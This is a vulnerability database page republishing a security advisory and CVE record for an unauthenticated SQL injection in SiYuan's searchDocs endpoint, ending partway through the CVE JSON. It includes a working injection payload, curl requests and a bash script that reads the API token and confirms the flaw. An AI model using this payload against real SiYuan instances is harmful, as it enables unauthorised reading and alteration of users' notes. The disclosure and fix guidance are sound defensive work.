Vulnerability-Lookup

GHSA-33JQ-P8C2-Q3Q4

Vulnerability from github – Published: 2026-10-01 14:38 – Updated: 2026-10-01 15:44

Summary

SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking

Details

Summary

The /api/filetree/searchDocs endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by CheckAuth only reachable by the publish RoleReader token, and by the anonymous account when Publish.Auth.Enable is false. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (;-separated) statements, against the global blocks table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.

Details

Data flow, unescaped and unbound at every hop:

searchDocs (kernel/api/filetree.go): k := arg["k"].(string) passed straight to model.SearchDocs(k, …), no sanitization.
SearchDocs (kernel/model/file.go): after TrimSpace and strings.Fields, each token is spliced into a single-quoted LIKE literal by concatenation condition.WriteString("(hpath LIKE '%" + k + "%'"). No escaping, no '' doubling, no bind placeholder.
NAMFilter (kernel/conf/search.go): appends " OR name LIKE '%" + keyword + "%'" (and alias, memo) the same way, enabled by default.
QueryRootBlockByCondition (kernel/sql/block_query.go): "SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …" passed to query(sqlStmt).

The only value-inspecting guard is ast.IsNodeIDPattern(keyword), which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. strings.Fields prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.

Driver / statement stacking. The driver is the vendored github.com/88250/go-sqlite3 (mattn fork), registered as sqlite3_extended. query() calls db.Query, and the driver's connection query implementation loops over ;-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's CheckSingleStatement / CheckReadonlyStatement guards exist but are wired only into the explicit SQL endpoints (api/sql.go, cli, mcp); the searchDocs > query() path does not call them.

Handle. The DSN (kernel/model/database.go) sets _journal_mode=WAL&_synchronous=OFF&… with no mode=ro and no _query_only. It is the same read-write handle used for indexing Exec calls, so stacked INSERT/UPDATE/DELETE execute, and ATTACH is available. load_extension is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.

Scope. The blocks table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.

Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and ATTACH-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no load_extension).

Root cause

The keyword is split on whitespace and each token is spliced into a LIKE literal without escaping or binding:

SearchDocs builds each condition as (hpath LIKE '%<token>%' ...) (file.go:199).
NAMFilter appends OR name LIKE '%<token>%', alias, memo the same way (search.go:135-142).
QueryRootBlockByCondition concatenates that condition into SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n> and calls query() (block_query.go:74-75).
query() calls db.Query() with no call to the project's own CheckSingleStatement / CheckReadonlyStatement guards, which are wired only into api/sql.go (the explicit SQL endpoints), not this path (database.go:1426-1436).

The only pre-sink check is ast.IsNodeIDPattern (file.go:179), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.

Reachability / auth tier

Route middleware is model.CheckAuth only no CheckAdminRole.
The publish reverse proxy injects a token resolving to RoleReader, or the anonymous account when Publish.Auth.Enable=false. Both satisfy CheckAuth.
The handler applies no publish-access / read-only / role check, and SearchDocs applies no post-query scope filter.
Query targets the global blocks table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.

Proof of concept (read-only discloses `sqlite_version()`)

Demonstrated against a local instance. Read-only: the PoC runs a single SELECT … UNION SELECT and surfaces the SQLite version string through the search response. No data is modified.

1. Prerequisites

A local SiYuan kernel running (default http://127.0.0.1:6806).
The API token from Settings > About > API token (omit if no access-auth code is set).
One opened notebook id (17 chars), e.g. from POST /api/notebook/lsNotebooks.

2. Why the payload is shaped this way

The kernel places the keyword as hpath LIKE '%<K>%', so the payload closes the string literal and the condition group, appends a UNION SELECT, and comments out the trailing %', ORDER BY, and LIMIT.
The keyword is whitespace-split (strings.Fields), so literal spaces are replaced with /**/ SQL comments.
blocks has 21 columns; the query adds a computed lv, so the UNION SELECT must supply 22 values. Only col 5 (Box) and col 6 (Path) matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open file.go:230) and col 6 is returned verbatim as the response path field.

3. PoC

Open the web UI once (unlocks + ensures a notebook is open)
Browser > http://127.0.0.1:6806
Enter the access-auth code: poctestcode
Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click ＋ > New notebook, name it anything, and make sure it's open (bold, not greyed).
Grab the API token

docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json
TOKEN="paste_the_token_value_here"

Get the open notebook's ID

curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN" Copy an id whose "closed":false, then: BOX_ID="paste_that_id_here"

Build the request body

cat > body.json <<EOF
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
EOF

(The heredoc substitutes $BOX_ID for you, no manual editing.)

Fire the injection

curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"' Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.

Confirm the row is genuinely injected (optional sanity check)

Run the same request with a benign keyword and confirm no version appears: curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"' # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report.

If Step 5 returns empty: 5. Fire the injection

curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"' Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.

Confirm the row is genuinely injected (optional sanity check)

The differential (version appears only with the crafted keyword) is clean evidence for the report.

Or you can use this script to do the whole process at once:

#!/usr/bin/env bash
#
# siyuan_sqli_poc.sh
# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing
# sqlite_version() through the search response. Modifies NO data.

set -u
export MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths

# ---- config ---------------------------------------------------------------
BASE="${BASE:-http://127.0.0.1:6806}"
CONTAINER="${CONTAINER:-siyuan-poc}"
CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

say()  { printf '\n\033[1m== %s\033[0m\n' "$*"; }
ok()   { printf '\033[32m[OK]\033[0m %s\n' "$*"; }
warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; }
die()  { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; }

# 1. container up?
say "Checking container"
docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \
  || die "Container '$CONTAINER' is not running. Start it, then re-run."
ok "container '$CONTAINER' is running"

# 2. API alive?
say "Waiting for kernel API"
for i in $(seq 1 30); do
  if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then
    ok "API responding at $BASE"; break
  fi
  sleep 1
  [ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run."
done

# 3. token from conf.json
say "Reading API token"
TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \
  | grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \
  | sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/')
if [ -n "$TOKEN" ]; then
  ok "token found"
  AUTH=(-H "Authorization: Token $TOKEN")
else
  warn "no token in conf.json (instance may not be initialized, or auth is disabled)."
  warn "  -> open $BASE, enter the access code, let the UI load, then re-run."
  AUTH=()
fi

# 4. an OPEN notebook id
say "Finding an open notebook"
NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}")
BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \
  | grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/')
[ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB"
ok "using open notebook: $BOX_ID"

# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())
say "Building request body"
PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"
printf '{"k":"%s"}' "$PAYLOAD" > body.json
ok "wrote body.json"

# 6. fire the injection
say "Sending injection"
RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json)
VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/')

# 7. benign differential (must NOT return a version)
BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \
  | grep -oE '"path":"[0-9][^"]*"' | head -1)

# 8. verdict
say "Result"
if [ -n "$VER" ] && [ -z "$BENIGN" ]; then
  ok "SQL injection CONFIRMED"
  printf '     leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER"
  printf '     (benign keyword returned no version -> value came from injected SQL)\n'
else
  warn "no version surfaced. Checking kernel log for the assembled statement..."
  docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true
  warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build."
  warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook."
  printf '     raw response: %s\n' "$RESP"
fi

bash siyuan_sqli_poc.sh

Suggested fix

Parameterize the search. The load-bearing fix is at SearchDocs and NAMFilter: bind the keyword as a parameter rather than concatenating it, or at minimum escape ' and the LIKE metacharacters and pass via a bound argument. Secondarily, route the searchDocs > query() path through the existing CheckSingleStatement / CheckReadonlyStatement guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with _query_only=1.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260721043339-eef10568384e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T14:38:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.\n\n### Details\n\nData flow, unescaped and unbound at every hop:\n\n- `searchDocs` (`kernel/api/filetree.go`): `k := arg[\"k\"].(string)` passed straight to `model.SearchDocs(k, \u2026)`, no sanitization.\n- `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString(\"(hpath LIKE \u0027%\" + k + \"%\u0027\")`. No escaping, no `\u0027\u0027` doubling, no bind placeholder.\n- `NAMFilter` (`kernel/conf/search.go`): appends `\" OR name LIKE \u0027%\" + keyword + \"%\u0027\"` (and `alias`, `memo`) the same way, enabled by default.\n- `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `\"SELECT *, \u2026 FROM blocks WHERE type = \u0027d\u0027 AND \" + condition + \" ORDER BY \u2026 LIMIT \u2026\"` passed to `query(sqlStmt)`.\n\nThe only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.\n\n**Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver\u0027s connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan\u0027s `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs \u003e query()` path does not call them.\n\n**Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL\u0026_synchronous=OFF\u0026\u2026` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.\n\n**Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.\n\n### Impact\n\nAn unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`).\n\n## Root cause\nThe keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding:\n\n- `SearchDocs` builds each condition as `(hpath LIKE \u0027%\u003ctoken\u003e%\u0027 ...)` (`file.go:199`).\n- `NAMFilter` appends `OR name LIKE \u0027%\u003ctoken\u003e%\u0027`, `alias`, `memo` the same way (`search.go:135-142`).\n- `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, \u0027/\u0027, \u0027\u0027)) AS lv FROM blocks WHERE type = \u0027d\u0027 AND \u003ccondition\u003e ORDER BY box DESC, lv ASC LIMIT \u003cn\u003e` and calls `query()` (`block_query.go:74-75`).\n- `query()` calls `db.Query()` with **no** call to the project\u0027s own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`).\n\nThe only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.\n\n## Reachability / auth tier\n- Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`.\n- The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. \n- The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter.\n- Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.\n\n## Proof of concept (read-only discloses `sqlite_version()`)\n\nDemonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT \u2026 UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified.\n\n### 1. Prerequisites\n- A local SiYuan kernel running (default `http://127.0.0.1:6806`).\n- The API token from **Settings \u003e About \u003e API token** (omit if no access-auth code is set).\n- One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`.\n\n### 2. Why the payload is shaped this way\n- The kernel places the keyword as `hpath LIKE \u0027%\u003cK\u003e%\u0027`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%\u0027`, `ORDER BY`, and `LIMIT`.\n- The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments.\n- `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field.\n\n## 3. PoC\n\n1. Open the web UI once (unlocks + ensures a notebook is open)\n\n1. Browser \u003e `http://127.0.0.1:6806`\n2. Enter the access-auth code: `poctestcode`\n3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that\u0027s what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click \uff0b \u003e New notebook, name it anything, and make sure it\u0027s open (bold, not greyed).\n\n2. Grab the API token\n\n```\ndocker exec siyuan-poc grep -o \u0027\"token\":\"[^\"]*\"\u0027 /siyuan/workspace/conf/conf.json\nTOKEN=\"paste_the_token_value_here\"\n```\n\n3. Get the open notebook\u0027s ID\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/notebook/lsNotebooks\" -H \"Authorization: Token $TOKEN\"`\nCopy an id whose \"closed\":false, then: `BOX_ID=\"paste_that_id_here\"`\n\n4. Build the request body\n\n```\ncat \u003e body.json \u003c\u003cEOF\n{\"k\":\"poc%\u0027)/**/union/**/select/**/\u0027poc\u0027,\u0027\u0027,\u0027poc\u0027,\u0027\u0027,\u0027$BOX_ID\u0027,sqlite_version(),\u0027/POC\u0027,\u0027POC\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,0,\u0027d\u0027,\u0027\u0027,\u0027\u0027,0,\u0027\u0027,\u0027\u0027,0--\"}\nEOF\n```\n\n(The heredoc substitutes $BOX_ID for you, no manual editing.)\n\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o \u0027\"path\":\"[0-9][^\"]*\"\u0027`\nExpected: the SQLite version string, e.g. `\"path\":\"3.45.1\"`, proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d \u0027{\"k\":\"poc\"}\u0027 | grep -o \u0027\"path\":\"[0-9][^\"]*\"\u0027`   # returns nothing\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\n---\nIf Step 5 returns empty:\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o \u0027\"path\":\"[0-9][^\"]*\"\u0027`\nExpected: the SQLite version string, e.g. \"path\":\"3.45.1\", proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d \u0027{\"k\":\"poc\"}\u0027 | grep -o \u0027\"path\":\"[0-9][^\"]*\"\u0027`   # returns nothing\n\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\nOr you can use this script to do the whole process at once:\n\n```\n#!/usr/bin/env bash\n#\n# siyuan_sqli_poc.sh\n# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing\n# sqlite_version() through the search response. Modifies NO data.\n\nset -u\nexport MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths\n\n# ---- config ---------------------------------------------------------------\nBASE=\"${BASE:-http://127.0.0.1:6806}\"\nCONTAINER=\"${CONTAINER:-siyuan-poc}\"\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nsay()  { printf \u0027\\n\\033[1m== %s\\033[0m\\n\u0027 \"$*\"; }\nok()   { printf \u0027\\033[32m[OK]\\033[0m %s\\n\u0027 \"$*\"; }\nwarn() { printf \u0027\\033[33m[!!]\\033[0m %s\\n\u0027 \"$*\"; }\ndie()  { printf \u0027\\033[31m[XX]\\033[0m %s\\n\u0027 \"$*\"; exit 1; }\n\n# 1. container up?\nsay \"Checking container\"\ndocker ps --format \u0027{{.Names}}\u0027 | grep -qx \"$CONTAINER\" \\\n  || die \"Container \u0027$CONTAINER\u0027 is not running. Start it, then re-run.\"\nok \"container \u0027$CONTAINER\u0027 is running\"\n\n# 2. API alive?\nsay \"Waiting for kernel API\"\nfor i in $(seq 1 30); do\n  if curl -sf \"$BASE/api/system/version\" \u003e/dev/null 2\u003e\u00261; then\n    ok \"API responding at $BASE\"; break\n  fi\n  sleep 1\n  [ \"$i\" = 30 ] \u0026\u0026 die \"API not responding. Open $BASE in a browser, enter the access code, then re-run.\"\ndone\n\n# 3. token from conf.json\nsay \"Reading API token\"\nTOKEN=$(docker exec \"$CONTAINER\" cat \"$CONF\" 2\u003e/dev/null \\\n  | grep -oE \u0027\"token\"[[:space:]]*:[[:space:]]*\"[^\"]*\"\u0027 | head -1 \\\n  | sed -E \u0027s/.*:[[:space:]]*\"([^\"]*)\".*/\\1/\u0027)\nif [ -n \"$TOKEN\" ]; then\n  ok \"token found\"\n  AUTH=(-H \"Authorization: Token $TOKEN\")\nelse\n  warn \"no token in conf.json (instance may not be initialized, or auth is disabled).\"\n  warn \"  -\u003e open $BASE, enter the access code, let the UI load, then re-run.\"\n  AUTH=()\nfi\n\n# 4. an OPEN notebook id\nsay \"Finding an open notebook\"\nNB=$(curl -s -X POST \"$BASE/api/notebook/lsNotebooks\" \"${AUTH[@]}\")\nBOX_ID=$(echo \"$NB\" | tr \u0027}\u0027 \u0027\\n\u0027 | grep \u0027\"closed\":false\u0027 \\\n  | grep -oE \u0027\"id\":\"[^\"]+\"\u0027 | head -1 | sed -E \u0027s/\"id\":\"([^\"]+)\"/\\1/\u0027)\n[ -n \"$BOX_ID\" ] || die \"No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB\"\nok \"using open notebook: $BOX_ID\"\n\n# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())\nsay \"Building request body\"\nPAYLOAD=\"poc%\u0027)/**/union/**/select/**/\u0027poc\u0027,\u0027\u0027,\u0027poc\u0027,\u0027\u0027,\u0027${BOX_ID}\u0027,sqlite_version(),\u0027/POC\u0027,\u0027POC\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,\u0027\u0027,0,\u0027d\u0027,\u0027\u0027,\u0027\u0027,0,\u0027\u0027,\u0027\u0027,0--\"\nprintf \u0027{\"k\":\"%s\"}\u0027 \"$PAYLOAD\" \u003e body.json\nok \"wrote body.json\"\n\n# 6. fire the injection\nsay \"Sending injection\"\nRESP=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d @body.json)\nVER=$(echo \"$RESP\" | grep -oE \u0027\"path\":\"[0-9][^\"]*\"\u0027 | head -1 | sed -E \u0027s/\"path\":\"([^\"]*)\"/\\1/\u0027)\n\n# 7. benign differential (must NOT return a version)\nBENIGN=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d \u0027{\"k\":\"poc\"}\u0027 \\\n  | grep -oE \u0027\"path\":\"[0-9][^\"]*\"\u0027 | head -1)\n\n# 8. verdict\nsay \"Result\"\nif [ -n \"$VER\" ] \u0026\u0026 [ -z \"$BENIGN\" ]; then\n  ok \"SQL injection CONFIRMED\"\n  printf \u0027     leaked sqlite_version() = \\033[1m%s\\033[0m\\n\u0027 \"$VER\"\n  printf \u0027     (benign keyword returned no version -\u003e value came from injected SQL)\\n\u0027\nelse\n  warn \"no version surfaced. Checking kernel log for the assembled statement...\"\n  docker exec \"$CONTAINER\" sh -c \u0027grep \"sql query\" /siyuan/workspace/temp/siyuan.log 2\u003e/dev/null | tail -3\u0027 || true\n  warn \"If you see \u0027sql query [...] failed\u0027, it\u0027s a column-count mismatch on this build.\"\n  warn \"If no error line: the box filter dropped the row -\u003e confirm BOX_ID is an OPEN notebook.\"\n  printf \u0027     raw response: %s\\n\u0027 \"$RESP\"\nfi\n```\n`bash siyuan_sqli_poc.sh`\n\n\u003cimg width=\"809\" height=\"376\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4\" /\u003e\n\n### Suggested fix\n\nParameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `\u0027` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs \u003e query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.",
  "id": "GHSA-33jq-p8c2-q3q4",
  "modified": "2026-10-01T15:44:10Z",
  "published": "2026-10-01T14:38:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69085"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking"
}

CVE-2026-69085 (GCVE-0-2026-69085)

Vulnerability from cvelistv5 – Published: 2026-08-03 13:20 – Updated: 2026-08-14 16:51

Title

SiYuan before v3.7.3 SQL Injection via searchDocs

Summary

SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.

Severity

9.9 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-03 14:15 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 7605 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	vendor-advisory
https://www.vulncheck.com/advisories/siyuan-befor…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: 0 , < 3.7.3 (semver) Unaffected: 3.7.3 (semver) cpe:2.3:a:b3log:siyuan::::::::

Date Public

2026-07-20 00:00

Credits

Shirshakhtml

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-69085",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-03T14:15:16.173181Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-03T14:15:43.760Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:golang/github.com/siyuan-note/siyuan/kernel",
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "lessThan": "3.7.3",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
